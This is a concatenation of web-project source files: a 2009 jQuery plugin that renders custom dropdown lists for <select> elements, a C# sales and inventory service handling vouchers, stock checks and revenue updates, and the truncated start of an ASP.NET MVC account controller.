* @author : ukhome ( <EMAIL> | <EMAIL> )
*--------------------------------------------*
* @released : 24-Mar-2009 : version 1.0
*--------------------------------------------*
* @revision history : ( latest version : 1.0 )
*--------------------------------------------*
* + 24-Mar-2009 : version 1.0
* - released
* + 03-Sep-2009 : version 1.1
* - positioning issues fixed (esp. FF3), remove globalWrapper
* + 05-Oct-2009 : version 1.1
* - reset select issues fixed !
*--------------------------------------------*
*/
/* package Main
*/
//droplist Manager
$selectDroplist_Manager = new function () { //Singleton class
this.els = []; // element type = jquery object
this.activeName = null; // index of active droplist
return this;
}
//droplist class
$selectDroplist_UI = function (jEl, options) { //jEl = jquery element
var o = this; //self reference
/* methods */
this.setupDropListUI = function () {
/*Create UL reflect <select>*/
var offset = 0;
o.select.find("> *").each(function (index) {
var el = jQuery(this);
var count = index;
if ( this.tagName.toLowerCase() == "optgroup" ) {
//detected <optgroup>
el.each(function () {
var optgroup = jQuery(this);
var optName = optgroup.attr("label");
var optgroup_el = jQuery("<li></li>");
optgroup_el.prepend("<span class=\"OptgroupLabel\">" + optName + "</span>");
var optgroup_elsubUL = jQuery("<ul></ul>");
o.elUL.append(optgroup_el);
optgroup_el.append(optgroup_elsubUL);
optgroup.find("option").each(function (index) {
var self = jQuery(this);
if ( self.attr("value") == "" ) {
optgroup_elsubUL.append("<li class=\"SelectUITitle\" value=\"" + parseInt(count + index + offset+1) + "\"><a href=\"#\" title=\"" + self.text() + "\" rel=\"" + self.attr("label") + "\">" + self.text() +"</a></li>");
}
else if ( self.attr("selected") ) {
optgroup_elsubUL.append("<li class=\"Active\" value=\"" + parseInt(count + index + offset+1) + "\"><a href=\"#\" title=\"" + self.text() + "\" rel=\"" + self.attr("label") + "\">" + self.text() +"</a></li>");
}
else {
optgroup_elsubUL.append("<li value=\"" + parseInt(count + index + offset+1) + "\"><a href=\"#\" title=\"" + self.text() + "\" rel=\"" + self.attr("label") + "\">" + self.text() +"</a></li>");
}
});
offset += optgroup.find("option").length - 1;
});
}
else {
//detected <option>
if ( el.attr("value") == "" ) {
o.elUL.append("<li class=\"SelectUITitle\" value=\"" + parseInt(index + offset+1) + "\"><a href=\"#\" title=\"" + el.text() + "\" rel=\"" + el.attr("label") + "\">" + el.text() +"</a></li>");
}
else if ( el.attr("selected") ) {
o.elUL.append("<li class=\"Active\" value=\"" + parseInt(index + offset+1) + "\"><a href=\"#\" title=\"" + el.text() + "\" rel=\"" + el.attr("label") + "\">" + el.text() +"</a></li>");
}
else {
o.elUL.append("<li value=\"" + parseInt(index + offset+1) + "\"><a href=\"#\" title=\"" + el.text() + "\" rel=\"" + el.attr("label") + "\">" + el.text() +"</a></li>");
}
}
});
//append to DOM
//o.el = jQuery("<div class=\"DropListUIContainer\"></div>");
//o.elUL.before(o.el);
o.el.html(o.elUL);
/*end. Create UL reflect <select>*/
/*Wrapper*/
var elClasses = o.elUL.attr("class").split(" ");
var addDefaultTheme = true;
for ( var i = 0 ; i < elClasses.length ; i++ ) {
if ( elClasses[i].match(/^Theme/) ) {
o.elWrapper.addClass(elClasses[i]);
addDefaultTheme = false;
}
}
if ( addDefaultTheme ) {
o.elWrapper.addClass("Theme_Default");
o.elUL.addClass("Theme_Default");
}
/*end. Wrapper*/
if ( !o.select .attr("multiple") ) {
//max droplist height
o.maxDropListHeight = options != undefined && options.maxDropListHeight != undefined ? parseInt(options.maxDropListHeight) : 300;
o.config = {
maxDropListHeight: o.maxDropListHeight
}
/*Title*/
var title = "";
var hasValue = false;
o.select.find("option").each(function () {
var option = jQuery(this);
if ( option.attr("selected") ) {
title = option.text();
hasValue = true;
}
});
if ( !hasValue ) {
title = o.select.attr("title") != "" ? o.select.attr("title") : o.select.find("option:first-child").text();
}
/*end. Title*/
/*Disabled option*/
if ( !o.select.attr("disabled") ) {
o.droplistTITLE.text(title);
o.elWrapper.removeClass("Disabled");
}
else {
o.droplistTITLE.text("");
o.elWrapper.addClass("Disabled");
}
/*end. Disabled option*/
o.el.show();
o.el.css({
position: "absolute",
left: 0,
display: "none",
overflow: "hidden",
width: o.elUL.width()
});
o.el.hide();
/*Binding events*/
o.el.find("ul > li").each(function (index) {
var self = jQuery(this);
self.bind("click", function () {
if ( self.find("span.OptgroupLabel:first-child").length > 0 ) {
//o.el.hideList();
return false;
}
else {
if ( !o.select.attr("disabled") ) {
//o.droplistTITLE.text( self.text() );
o.el.find("ul > li").removeClass("Active");
self.addClass("Active");
o.droplistTITLE.text( self.text() );
o.hideList();
o.select.val(o.select.find("option").eq(self.attr("value")-1).val());
/*call Externall Function*/
callExternalFunction(o, $selectDroplist_Manager.els, self.find("a:first").attr("rel"));
self.removeClass("Hover");
o.afterCall();
return false;
}
}
});
});
o.el.bind("click", function (evt) {
return false; //prevent default action and stop bubble
});
/*end. Binding events*/
}
else { //multi choices enabled
var size = o.select.attr("size");
o.elUL.css({
height: o.elUL.find("li").eq(0).outerHeight(true)*size,
overflow: "hidden"
});
if ( !o.elUL.parent().hasClass("jScrollPaneContainer") ) {
o.elUL.jScrollPane({
scrollbarWidth: o.options.scrollbarWidth,
scrollbarOnLeft: o.options.scrollbarSide == "left" ? true : false
});
}
/*Binding events*/
var keyChar = null;
var beginVal_INDEX = null;
var endVal_INDEX = null;
/*shortcut function*/
function clearValues () {
o.select.find("option").removeAttr("selected");
o.elUL.find("li").removeClass("Active");
}
/*END. shortcut function*/
o.el.find("ul > li").each(function (index) {
var self = jQuery(this);
self.bind("click", function (e) {
if ( self.find("span.OptgroupLabel:first-child").length > 0 ) {
//o.el.hideList();
return false;
}
else {
if ( !o.select.attr("disabled") ) {
if ( e.ctrlKey && !e.shiftKey ) { //only CTRL
/*pre-proccess for SHIFT key case*/
beginVal_INDEX = index;
/*END. pre-proccess for SHIFT key case*/
o.select.find("option").eq(index).attr("selected", "selected");
}
else if ( (!e.ctrlKey && e.shiftKey) || (e.ctrlKey && e.shiftKey) ) { //only SHIFT or CTRL+SHIFT: SHIFT take the higher priority
if ( !e.ctrlKey ) { //if NOT hold CTRL --> clear values
clearValues();
}
if ( beginVal_INDEX == null ) {
beginVal_INDEX = index;
}
else {
endVal_INDEX = index;
if ( beginVal_INDEX != null && endVal_INDEX != null ) {
o.el.find("ul > li").each(function (index) {
var self = jQuery(this);
if ( ( beginVal_INDEX <= endVal_INDEX && index >= beginVal_INDEX && index <= endVal_INDEX ) || ( beginVal_INDEX >= endVal_INDEX && index <= beginVal_INDEX && index >= endVal_INDEX ) ) {
o.select.find("option").eq(index).attr("selected", "selected");
self.addClass("Active");
}
});
endVal_INDEX = null;
}
}
}
else { //no key pressed
clearValues();
o.select.find("option").eq(index).attr("selected", "selected");
/*pre-proccess for SHIFT key case*/
beginVal_INDEX = index;
/*END. pre-proccess for SHIFT key case*/
}
self.addClass("Active");
//o.select.val(o.select.find("option").eq(self.attr("value")-1).val());
/*call Externall Function*/
//callExternalFunction(o, $selectDroplist_Manager.els, self.find("a:first").attr("rel"));
self.removeClass("Hover");
return false;
}
}
});
});
}
/* Little trick for IE6 Hover Problem */
o.el.find("ul > li").each(function (index) {
var self = jQuery(this);
self.bind("mouseover", function () {
self.addClass("Hover");
return false;
});
self.bind("mouseout", function () {
self.removeClass("Hover");
return false;
});
});
/* end. Little trick for IE6 Hover Problem */
}
this.reset = function () {
//refresh
o.elUL.empty();
o.elUL.removeAttr("class");
//re-create
o.elUL.attr("title", o.select.attr("title"));
o.elUL.addClass(o.select.attr("class"));
this.setupDropListUI();
/*Re-Create UL reflect <select>*/
}
this.showList = function () {
o.elWrapper.addClass("TopLevel");
o.el.addClass("DropListUIShow");
o.reservedHolder = o.elWrapper.clone(true).empty();
o.reservedHolder.css({
visibility: "hidden",
height: o.elWrapper.outerHeight()
});
o.elWrapper.before(o.reservedHolder);
var borderLeftWidth = 0;
var borderTopWidth = 0;
var offset = {
left: 0,
top: 0
};
o.elWrapper.hide();
o.elWrapper.appendTo("body"); //must append to body before calculate position
//var isFF3 = (/Firefox\/3.*/).test(window.navigator.userAgent);
//!!! if FF3, substract the border-left/top width of all parent wrapper: bugs in offset()
/*
if (isFF3) {
var parentWrapper = o.reservedHolder.parent();
borderLeftWidth = 0;
borderTopWidth = 0;
while (parentWrapper.attr("tagName").toLowerCase() != "body") { //find all borders of parents
if ( (/relative|absolute|fixed/).test( parentWrapper.css("position") ) ) {
borderLeftWidth += parseInt(parentWrapper.css("borderLeftWidth"));
borderTopWidth += parseInt(parentWrapper.css("borderTopWidth"));
}
parentWrapper = parentWrapper.parent();
}
var el = o.reservedHolder.get(0);
do {
offset.top += el.offsetTop;
offset.left += el.offsetLeft;
}
while ( el = el.offsetParent ) ; //trick
}
else {*/
offset.top = o.reservedHolder.offset().top;
offset.left = o.reservedHolder.offset().left;
//}
o.elWrapper.css({ //set position for droplistUI
position: "absolute",
top: offset.top + borderTopWidth,
left: offset.left + borderLeftWidth,
margin: 0
});
o.elWrapper.show();
o.el.show();
o.setDirection();
//apply jScrollPane for scrolling
if (o.el.height() > o.maxDropListHeight) {
o.elUL.height(o.maxDropListHeight);
if ( !o.elUL.parent().hasClass("jScrollPaneContainer") ) {
o.elUL.jScrollPane({
scrollbarWidth: o.options.scrollbarWidth,
scrollbarOnLeft: o.options.scrollbarSide == "left" ? true : false
});
}
}
o.eventFire = false;
}
this.hideList = function () {
//remove jScrollPane
o.el.prepend(o.elUL);
o.elUL.removeAttr("style");
o.elUL.next().remove();
//end. remove jScrollPane
o.elWrapper.removeClass("TopLevel");
o.el.removeClass("DropListUIShow");
o.select.after(o.elWrapper.removeAttr("style"));
o.el.hide();
o.reservedHolder.remove();
}
this.afterCall = function () {
//client call after action
if ( options.after_action != undefined ) {
options.after_action();
}
}
this.setDirection = function () {
//var windowHeight = jQuery(window).height() + jQuery(window).scrollTop();
var windowHeight = jQuery.browser.safari ? window.innerHeight : jQuery(window).height();
windowHeight = windowHeight + jQuery(window).scrollTop();
var elPostion_Top = o.elWrapper.offset().top;
var elPostion_Bottom = o.elWrapper.offset().top + o.elWrapper.height();
var elULHeight = o.elUL.outerHeight();
var direction = "";
/*
* When o.maxDropListHeight change in case
* it's height is greater than top space and bottom space,
* it need to be reset to its config value for new calculation
*/
if ( o.config.maxDropListHeight > o.maxDropListHeight ) {
o.maxDropListHeight = o.config.maxDropListHeight;
}
if ( elULHeight <= windowHeight - elPostion_Bottom ) { //no need scroll
//decide to go down
direction = "down";
o.el.removeClass("DropListUIContainerUp");
}
else if ( windowHeight - elPostion_Bottom > o.maxDropListHeight ) { //need scroll
//go down take higher priority if available
direction = "down";
o.el.removeClass("DropListUIContainerUp");
}
else if ( elULHeight < elPostion_Top - jQuery(window).scrollTop() ) { //no need scroll
//decide to go up
direction = "up";
o.el.addClass("DropListUIContainerUp");
}
else if ( elPostion_Top - jQuery(window).scrollTop() > o.maxDropListHeight ) { //need scroll
//go up take priority when down is unavailable (< maxDropListHeight)
direction = "up";
o.el.addClass("DropListUIContainerUp");
}
else if ( windowHeight - elPostion_Bottom >= elPostion_Top - jQuery(window).scrollTop() ) { //need scroll
//no case available but go down better than go up
direction = "down";
o.el.removeClass("DropListUIContainerUp");
o.maxDropListHeight = windowHeight - elPostion_Bottom;
}
else { //need scroll
//no case available but go up better than go down
direction = "up";
o.el.addClass("DropListUIContainerUp");
o.maxDropListHeight = elPostion_Top - jQuery(window).scrollTop();
}
var borderTop = (/[0-9]+/).test( o.el.css("borderTopWidth") )
? parseInt(o.el.css("borderTopWidth"))
: 0;
var borderBottom = (/[0-9]+/).test( o.el.css("borderBottomWidth") )
? parseInt(o.el.css("borderBottomWidth"))
: 0;
o.maxDropListHeight -= (borderTop + borderBottom);
/* Act on direction decision */
if ( direction == "up" ) { //go up
o.el.css({
bottom: o.elWrapper.height() + "px",
top: "auto"
});
}
else { // go down, direction == "down"
o.el.css({
top: "100%",
bottom: "auto"
});
}
}
/* end. methods */
/* constructor */
o.options = {
scrollbarWidth: options != undefined && options.scrollbarWidth != undefined ? parseInt(options.scrollbarWidth) : 10,
scrollbarSide: options != undefined && options.scrollbarSide != undefined ? options.scrollbarSide : "right"
}
/*<select>*/
o.select = jEl;
o.select.addClass("HasSelectUI");
o.select.css({
opacity: 0,
position: "absolute",
left: "-1000em",
top: "-1000em"
});
o.reservedHolder = null;
o.elUL = jQuery("<ul title=\"" + o.select.attr("title") + "\"></ul>");
o.elUL.addClass(o.select.attr("class"));
o.select.before(o.elUL);
o.el = jQuery("<div class=\"DropListUIContainer\"></div>");
o.elUL.before(o.el);
o.el.html(o.elUL);
o.elWrapper = jQuery("<div class=\"DropListUI\"></div>");
o.el.before(o.elWrapper);
o.elWrapper.html(o.el);
if ( !o.select .attr("multiple") ) {
o.droplistTITLE = jQuery("<p></p>");
o.el.before(o.droplistTITLE);
o.droplistTITLE.bind("click", function (evt) {
//client call before action
if ( options.before_action != undefined ) {
options.before_action();
}
o.eventFire = true;
if ( !o.select.attr("disabled") ) {
if ( o.el.hasClass("DropListUIShow") ) {
o.hideList();
}
else { //showlist
if ( $selectDroplist_Manager.activeName != null ) {
$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].hideList();
}
o.showList();
$selectDroplist_Manager.activeName = o.select.attr("id");
}
}
return false; //prevent default action and stop bubble
});
}
this.setupDropListUI();
/*end. <select>*/
/* END. constructor */
}
jQuery.fn.extend({
addSelectUI: function() {
if ( $selectDroplist_Manager != undefined ) {
jQuery(window).bind("resize", function (evt) {
if ( $selectDroplist_Manager.activeName != null && $selectDroplist_Manager.els[$selectDroplist_Manager.activeName] != undefined && !$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].eventFire ) {
$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].hideList();
}
});
jQuery(document).bind("click", function (evt) {
if ($selectDroplist_Manager.activeName != null) {
$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].hideList();
}
//evt.stopPropagation();
//return false;
});
jQuery(window).bind("scroll", function (evt) {
if ( $selectDroplist_Manager.activeName != null && $selectDroplist_Manager.els[$selectDroplist_Manager.activeName] != undefined && !$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].eventFire ) {
$selectDroplist_Manager.els[$selectDroplist_Manager.activeName].hideList();
}
});
}
var options = arguments[0];
this.each(function () {
if ( !jQuery(this).hasClass("HasSelectUI") ) {
jQuery(this).addClass("HasSelectUI");
$selectDroplist_Manager.els[jQuery(this).attr("id")] = new $selectDroplist_UI(jQuery(this), options);
}
});
}
});<file_sep>using System;
using System.Collections.Generic;
using System.Data.SqlTypes;
using System.Linq;
using SSM.Common;
using SSM.Models;
using SSM.ViewModels;
using WebGrease.Css.Extensions;
namespace SSM.Services
{
public interface ISalesServices : IServices<MT81>
{
IEnumerable<MT81> GetAll(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser);
IEnumerable<SalesModel> GetAllModel(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser);
MT81 GetById(long id);
SalesModel GetModelById(long id);
void InsertSale(SalesModel model, out long id);
void Update(SalesModel order);
string GetVoucherNo();
int GetQtyInventory(int voucherId, int prodId, int warehouseId);
void StockCardAction(VoucherStatus status, long userId, long id);
bool DeleteOrder(MT81 db);
bool CheckValidQty(long id);
void UpdateRevenue(long id);
}
public class SalesServices : Services<MT81>, ISalesServices
{
public IEnumerable<MT81> GetAll(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser)
{
var qr = GetQueryFilter(filter, currenUser);
totalRow = qr.Count();
return GetListPager(qr, page, pageSize);
}
public IEnumerable<SalesModel> GetAllModel(TradingStockSearch filter, int page, int pageSize, out int totalRow, User currenUser)
{
var dbList = GetAll(filter, page, pageSize, out totalRow, currenUser);
return dbList.Select(mt => CopyToModel(mt)).ToList();
}
public MT81 GetById(long id)
{
Context = new DataClasses1DataContext();
return Context.MT81s.FirstOrDefault(x => x.VoucherID == id);
}
public string GetVoucherNo()
{
long vcNum = 1;
var mtlast = Context.MT81s.OrderByDescending(x => x.DateCreate).FirstOrDefault();
if (mtlast != null && mtlast.VoucherNo != null)
vcNum = long.Parse(mtlast.VoucherNo.GetNumberFromStr()) + 1;
return "XK" + vcNum.ToString("000000"); ;
}
public int GetQtyInventory(int voucherId, int prodId, int warehouseId)
{
try
{
var inventorys = Context.StockCards.Where(stockCard =>
stockCard.VoucherID != voucherId && stockCard.ProductID == prodId &&
stockCard.WarehouseID == warehouseId);
var rs = inventorys.Any() ?
inventorys.Sum(x => (x.sl_nhap.Value - x.sl_xuat.Value)) : 0;
var pendings = Context.DT81s.Where(
x =>
x.ProductID.Value == prodId && x.WarehouseID.Value == warehouseId && x.VoucherID != voucherId &&
x.MT81.Status == (byte)VoucherStatus.Pending);
var sellPeding = pendings.Any() ?
pendings.Sum(x => x.Quantity.Value) : 0;
var qty = (int)(rs - sellPeding);
return qty > 0 ? qty : 0;
}
catch (Exception ex)
{
Logger.LogError(ex);
return 0;
}
}
private int SubmitStockCard(long voucherId)
{
return Context.sp_postsv((int?)voucherId);
}
public void StockCardAction(VoucherStatus status, long userId, long id)
{
bool isCancle = false;
var mt = GetById(id);
if (mt == null)
throw new NullReferenceException("not found voucherId:" + id);
if (mt.Status > (byte)status)
isCancle = true;
mt.Status = (byte)status;
switch (status)
{
case VoucherStatus.Approved:
mt.ApprovedBy = userId;
mt.DateApproved = DateTime.Now;
break;
case VoucherStatus.Checked:
if (isCancle == false)
{
mt.CheckedBy = userId;
mt.DateChecked = DateTime.Now;
}
mt.ApprovedBy = null;
mt.DateApproved = null;
break;
case VoucherStatus.Submited:
if (isCancle == false)
{
mt.SubmittedBy = userId;
mt.DateSubmited = DateTime.Now;
}
mt.CheckedBy = null;
mt.DateChecked = null;
mt.ApprovedBy = null;
mt.DateApproved = null;
break;
//case VoucherStatus.Locked:
// if (mt.Status == (byte)VoucherStatus.Approved)
// mt.Status = (byte)VoucherStatus.Checked;
// if (mt.Status == (byte)VoucherStatus.Checked)
// mt.Status = (byte)VoucherStatus.Submited;
// if (mt.Status == (byte)VoucherStatus.Submited)
// {
// mt.Status = (byte)VoucherStatus.Pending;
// SubmitStockCard(id, false);
// }
// break;
case VoucherStatus.Pending:
default:
mt.T_Amount0 = 0;
mt.SubmittedBy = null;
mt.DateSubmited = null;
mt.CheckedBy = null;
mt.DateChecked = null;
mt.ApprovedBy = null;
mt.DateApproved = null;
break;
}
Commited();
if (status == VoucherStatus.Submited || status == VoucherStatus.Pending)
{
SubmitStockCard(id);
}
}
public bool DeleteOrder(MT81 db)
{
try
{
var dt81s = Context.DT81s.Where(x => x.VoucherID == db.VoucherID).ToList();
Context.DT81s.DeleteAllOnSubmit(dt81s);
Delete(db);
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
return false;
}
}
public bool CheckValidQty(long id)
{
var dts = Context.DT81s.Where(x => x.VoucherID == id).ToList();
return dts.All(x => x.Quantity >= GetQtyInventory((int)id, (int)x.ProductID.Value, x.WarehouseID.Value));
}
public void UpdateRevenue(MT81 mt)
{
if (mt.Shipments != null)
{
//update shipmet
var shipment = Context.Shipments.FirstOrDefault(x => x.Id == mt.Shipments.Id);
shipment.DateShp = mt.VoucherDate;
shipment.CneeId = mt.CustomerID ?? 0;
// update revenue
var amount = mt.T_Amount ?? 0;
var funds = mt.T_Amount0 ?? 0;
var revenue = Context.Revenues.FirstOrDefault(x => x.Id == shipment.Id);
var dbProfit = revenue.INVI - revenue.EXVI;
var profit = amount - funds;
//D
revenue.INVI = (revenue.INVI - revenue.INAutoValue1) + amount;
revenue.Income = (revenue.Income - revenue.INAutoValue1) + amount;
revenue.INAutoValue1 = amount;
//C
revenue.EXVI = (revenue.EXVI - revenue.EXManualValue1) + funds;
revenue.Expense = (revenue.Expense - revenue.EXManualValue1) + funds;
revenue.EXManualValue1 = funds;
revenue.EarningVI = (revenue.EarningVI - dbProfit) + profit;
revenue.Earning = (revenue.Earning - dbProfit) + profit;
Commited();
}
}
public void UpdateRevenue(long id)
{
var mt = GetById(id);
UpdateRevenue(mt);
}
public SalesModel GetModelById(long id)
{
return CopyToModel(GetById(id));
}
public void InsertSale(SalesModel model, out long id)
{
var mt = new MT81();
var esited = GetById(model.VoucherId);
if (esited != null)
{
model.VoucherId = GetVoucherId();
model.VoucherNo = GetVoucherNo();
}
id = model.VoucherId;
mt = CopyToDb(model, mt);
this.Insert(mt);
InsertToDetails(model);
}
public long GetVoucherId()
{
var order = Context.Orders.FirstOrDefault(x => x.Id == 1);
if (order == null)
throw new SqlNullValueException("Order number not value");
long newId = order.Number + 1;
order.Number = newId;
order.ngay_dn = DateTime.Now;
Commited();
return newId;
}
public void Update(SalesModel order)
{
var mt = GetById(order.VoucherId);
order.CreateBy = mt.CreateBy.Value;
order.DateCreate = mt.DateCreate.Value;
mt = CopyToDb(order, mt);
//pro detail
var dts = mt.DT81s.ToList();
Context.DT81s.DeleteAllOnSubmit(dts);
Commited();
InsertToDetails(order);
UpdateRevenue(mt);
}
private IQueryable<MT81> GetQueryFilter(TradingStockSearch filter, User currenUser)
{
filter = filter ?? new TradingStockSearch();
filter.Product = filter.Product ?? new Product();
filter.Supplier = filter.Supplier ?? new Supplier();
filter.Warehouse = filter.Warehouse ?? new Warehouse();
filter.Customer = filter.Customer ?? new Customer();
filter.CreatedBy = filter.CreatedBy ?? new User();
filter.SortField = filter.SortField ?? new SSM.Services.SortField(string.Empty, true);
var query = GetQuery(x =>
(string.IsNullOrEmpty(filter.Customer.FullName) || x.Customer.FullName.Contains(filter.Customer.FullName))
&& (string.IsNullOrEmpty(filter.Product.Code) || x.DT81s.Any(d => d.Product.Code.Contains(filter.Product.Code)))
&& (string.IsNullOrEmpty(filter.Product.Name) || x.DT81s.Any(d => d.Product.Name.Contains(filter.Product.Name)))
&& (filter.Warehouse.Id == 0 || x.DT81s.Any(d => d.WarehouseID.Value == filter.Warehouse.Id))
&& (filter.CreatedId == 0 || x.CreateBy == filter.CreatedId)
&& (string.IsNullOrEmpty(filter.VoucherNo) || x.VoucherNo.Contains(filter.VoucherNo))
);
if (filter.FromDate.HasValue)
{
query = query.Where(x => x.VoucherDate >= filter.FromDate.Value.Date);
}
if (filter.ToDate.HasValue)
{
query = query.Where(x => x.VoucherDate <= filter.ToDate.Value.Date);
}
if (!(currenUser.IsAdmin() || currenUser.IsAccountant()))
{
if (currenUser.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == currenUser.Id).Select(x => x.ComId).ToList();
comid.Add(currenUser.Id);
query = query.Where(x => comid.Contains(x.User.ComId.Value));
}
else if (currenUser.IsDepManager())
{
query = query.Where(x => x.User.DeptId == currenUser.DeptId && x.User.ComId == currenUser.ComId);
}
else
{
query = query.Where(x => x.User.Id == currenUser.Id);
}
}
query = string.IsNullOrEmpty(filter.SortField.FieldName) ? query.OrderByDescending(x => x.VoucherDate) : query.OrderBy(filter.SortField);
return query;
}
private MT81 CopyToDb(SalesModel order, MT81 mt)
{
mt.ModifyBy = order.ModifyBy;
mt.DateModify = order.DateModify;
mt.CurencyID = (int)order.Curency.Id;
mt.VoucherDate = order.VoucherDate;
mt.Description = order.Description;
mt.CustomerID = order.Customer.Id;
mt.VoucherID = (int)order.VoucherId;
mt.CurencyID = order.Curency.Id;
mt.ExchangeRate = order.ExchangeRate;
mt.VoucherCode = order.VoucherCode;
mt.VoucherNo = order.VoucherNo;
mt.VAT_Rate = order.TaxRate;
mt.CheckedBy = order.CheckedBy;
mt.ApprovedBy = order.ApprovedBy;
mt.SubmittedBy = order.SubmittedBy;
mt.CreateBy = order.CreateBy;
mt.DateCreate = order.DateCreate;
mt.VoucherDate = order.VoucherDate;
mt.Status = (byte?)order.Status;
mt.NotePrints = order.NotePrints;
return mt;
}
private void InsertToDetails(SalesModel model)
{
var dts = model.DetailModels;
if (dts != null && dts.Any())
{
var mt = GetById(model.VoucherId);
decimal tQty, tAmount, tTax, tTransportFee, tInlandFee, tFee1, tfee2, tFee, tToltal, tAmount0;
tQty = tAmount = tTax = tTransportFee = tInlandFee = tFee1 = tfee2 = tFee = tToltal = tAmount0 = 0M;
var exRate = mt.ExchangeRate.Value;
if (exRate == 0) exRate = 1;
int id = 1;
foreach (var dt in dts)
{
var pr = dt.VnPrice / exRate;
var p = Math.Round(pr, 4, MidpointRounding.AwayFromZero);
var am = Math.Round(dt.Quantity * p, 2, MidpointRounding.AwayFromZero);
var db = new DT81()
{
ProductID = dt.ProductId,
WarehouseID = dt.WarehouseId,
UOM = dt.UOM,
Quantity = dt.Quantity,
Price = p,
TransportFee = dt.TransportFee,
Fee1 = dt.Fee1,
Fee2 = dt.Fee2,
VoucherID = (int)model.VoucherId,
RowID = id,
Amount = am,
Description = dt.Notes,
VATTax = dt.VATTax,
Price0 = dt.Price0,
Amount0 = dt.Amount0,
VATTaxRate = dt.VATTaxRate,
VnPrice = dt.VnPrice
};
db.T_Fee = dt.Fee1 + dt.Fee2 + dt.TransportFee;
db.VATTax = am * dt.VATTaxRate;
db.TT = db.Amount + db.T_Fee + db.VATTax;
tQty += dt.Quantity;
tAmount += am;
tTax += db.VATTax.Value / 100;
tTransportFee += db.TransportFee ?? 0;
tFee1 += db.Fee1 ?? 0;
tfee2 += db.Fee2 ?? 0;
tFee += db.T_Fee ?? 0;
tToltal += db.TT ?? 0;
tAmount0 += db.Amount0 ?? 0;
Context.DT81s.InsertOnSubmit(db);
id++;
}
mt.T_Quantity = tQty;
mt.T_Amount = tAmount;
mt.T_VATTax = mt.VAT_Rate * mt.T_Amount / 100;
mt.T_TransportFee = tTransportFee;
mt.T_Fee = tFee;
mt.T_Fee1 = tFee1;
mt.T_Fee2 = tfee2;
mt.T_Amount0 = tAmount0;
mt.T_TT = tAmount + tTax - tFee - tAmount0;
Commited();
}
}
private SalesModel CopyToModel(MT81 order)
{
var model = new SalesModel
{
DateCreate = DateTime.Now,
CreateBy = order.CreateBy.Value,
Curency = order.Curency ?? new Curency(),
VoucherDate = order.VoucherDate,
Customer = order.Customer,
VoucherCode = order.VoucherCode,
VoucherId = order.VoucherID,
Status = (VoucherStatus)order.Status,
VoucherNo = order.VoucherNo,
ExchangeRate = order.ExchangeRate ?? 0,
Description = order.Description,
Fee = order.T_Fee ?? 0,
Fee1 = order.T_Fee1 ?? 0,
Fee2 = order.T_Fee2 ?? 0,
TransportFee = order.T_TransportFee ?? 0,
Amount = order.T_Amount ?? 0,
Quantity = order.T_Quantity ?? 0,
Amount0 = order.T_Amount0.Value,
SumTotal = order.T_TT ?? 0,
VAT = order.T_VATTax ?? 0,
TaxRate = order.VAT_Rate ?? 0,
UserCreated = order.User ?? new User(),
UserSubmited = order.User1 ?? new User(),
UserChecked = order.User3 ?? new User(),
UserApproved = order.User2 ?? new User(),
DateSubmited = order.DateSubmited,
DateChecked = order.DateChecked,
DateApproved = order.DateApproved,
DateModify = order.DateModify,
NotePrints = order.NotePrints,
ModifyBy = order.ModifyBy,
SubmittedBy = order.SubmittedBy,
CheckedBy = order.CheckedBy,
ApprovedBy = order.ApprovedBy,
CountryId = order.CountryID ?? 0,
Shipment = order.Shipments ?? null
};
model.Shipment = order.Shipments ?? null;
model.Profit = model.Amount + model.VAT - (model.Fee + model.Amount0);
var dbdetails = Context.DT81s.Where(x => x.VoucherID == order.VoucherID).ToList();
if (dbdetails.Any())
{
var details = dbdetails.Select(x => CopyModeDetail(x)).ToList();
model.DetailModels = details;
try
{
var prs = details.Any()
? details.Aggregate(string.Empty,
(current, dt) => current + dt.ProductCode + ",<br/> ")
: string.Empty;
model.ProductView = prs;
model.VnAmount = details.Sum(x => x.VnAmount);
}
catch (Exception ex)
{
Logger.LogError(ex);
model.ProductView = string.Empty;
}
}
return model;
}
private SalesDetailModel CopyModeDetail(DT81 dt)
{
var prod = Context.Products.FirstOrDefault(x => x.Id == dt.ProductID);
var proName = prod != null ? prod.Code.Trim() + "-" + prod.Name.Trim() : string.Empty;
var db = new SalesDetailModel()
{
ProductId = dt.ProductID ?? 0,
ProductCode = proName,
WarehouseId = dt.WarehouseID ?? 0,
UOM = dt.UOM,
Quantity = dt.Quantity ?? 0,
Price = dt.Price ?? 0,
TransportFee = dt.TransportFee ?? 0,
Fee1 = dt.Fee1 ?? 0,
Fee2 = dt.Fee2 ?? 0,
VoucherId = dt.VoucherID,
RowId = dt.RowID,
Amount = dt.Amount ?? 0,
Notes = dt.Description,
Price0 = dt.Price0 ?? 0,
Amount0 = dt.Amount0.Value,
VATTax = dt.VATTax ?? 0,
VATTaxRate = dt.VATTaxRate ?? 0,
TT = dt.TT ?? 0,
Product = dt.Product,
Warehouse = dt.Warehouse,
CurrentQty = GetQtyInventory((int)dt.VoucherID, (int)dt.ProductID.Value, dt.WarehouseID.Value),
VnPrice = dt.VnPrice ?? 0
};
db.TFee = db.TransportFee + db.Fee1 + db.Fee2;
db.VnAmount = db.Quantity * db.VnPrice;
return db;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using System.Security.Principal;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using System.Web.Security;
using SSM.Models;
using SSM.Services;
namespace SSM.Controllers
{
[HandleError]
public class AccountController : Controller
{
public static String USER_SESSION_ID = "USER_SESSION_ID";
public static String USER_HASH_NEWINFO = "USER_HASH_NEWINFO";
private UsersServices UsersService1 { get; set; }
private INewsServices newsServices;
private User UserProfile
{
get
{
if (UserProfile == null)
{
User User1 = (User)Session[USER_SESSION_ID];
return User1;
}
else
{
return UserProfile;
}
}
}
public bool isAdminOrDirector
{
get
{
if (UserProfile.RoleName.Equals(UsersModel.Positions.Administrator.ToString())
|| UserProfile.RoleName.Equals(UsersModel.Positions.Director.ToString()))
{
return true;
}
return false;
}
}
public bool isSetPassword
{
get
{
if (isAdminOrDirector)
{
return true;
